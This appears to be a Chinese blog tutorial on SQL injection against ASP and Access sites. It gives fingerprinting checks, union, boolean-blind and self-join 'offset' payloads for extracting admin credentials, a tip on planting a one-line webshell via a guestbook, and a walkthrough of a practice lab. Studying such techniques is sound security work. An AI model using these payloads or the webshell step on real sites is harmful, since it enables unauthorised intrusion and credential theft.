0x11.ACCESS注入

发布时间 2023-12-26 15:23:30作者: TrasoOn3r

基本判断

  • 常见搭配:asp+access

  • 后缀:.mdb,如果有/data/data.asp,直接在留言板或者搜索框里面插入一句话,然后shell掉data.asp

  • 工具:

    • 辅臣、access密码读取。
    • 使用sqlmap时,直接--tables,不用判断database。因为所有的表都在同一个数据库中,而且access数据库不存在database()函数
  • 判断:

    • 单引号(双引号会把传递内容都当成字符串)
    • -0和/
    • and 1=1和and 1=2

注入

access数据库:union注入、bool盲注、偏移注入

Union注入

  • access的联合查询注入和mysql联合注入不同的点有两个
    • 第一个是,access的union前半句话为真
    • 第二个是,access必须指定表名,用不了--+,#
  • 思路:判断是否有注入--->order by判断表个数--->猜表名--->猜列名(bp,结合网站后台目录名)

bool盲注

一般使用sqlmap

#判断数据库类型,或者使用count(*)
and exists (select * from msysobjects)>0 access
and exists (select * from sysobjects)>0 sqlserver

#判断数据库表,对user处fuzz
and exists (select * from user)

#判断数据库列,对admin处fuzz
and exists (select admin from user)

#猜管理员账号
and (select top 1 asc(mid(admin,1,1)) from user)>100 返回正常说明大于,不正常说明不大于

偏移注入

适用于猜出了表名,猜不出列名

  • 使用:*代替列数,并且往前面减,回显点会出现某一列的数据(随机)。如:id =1 union select 1,2,3,4,*-----> id =1 union select 1,2,3,*一直往前删除,直到出现数据

  • 实战情景:

    • 如果一个access数据库有38个表,使用偏移注入,直到27个表才有回显,中间相差11个
    • 推测下一个出现数据的地方在16,尝试爆数据。下面写了三句话,如果爆不出数据,依次去爆破
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from (admin as a inner join admin as b on a.id=b.id)
    union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
    
    • 推测下一个出现数据的地方在5,a.id等同上
    union select 1,2,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
    

靶场

环境:墨者靶场的access注入

  • 进入环境,发现注入点在公告页面

  • 使用order by语句判断有4张表

  • 盲猜数据库是admin,id=1 union select 1,* from admin

  • 盲猜了列名,username和passwd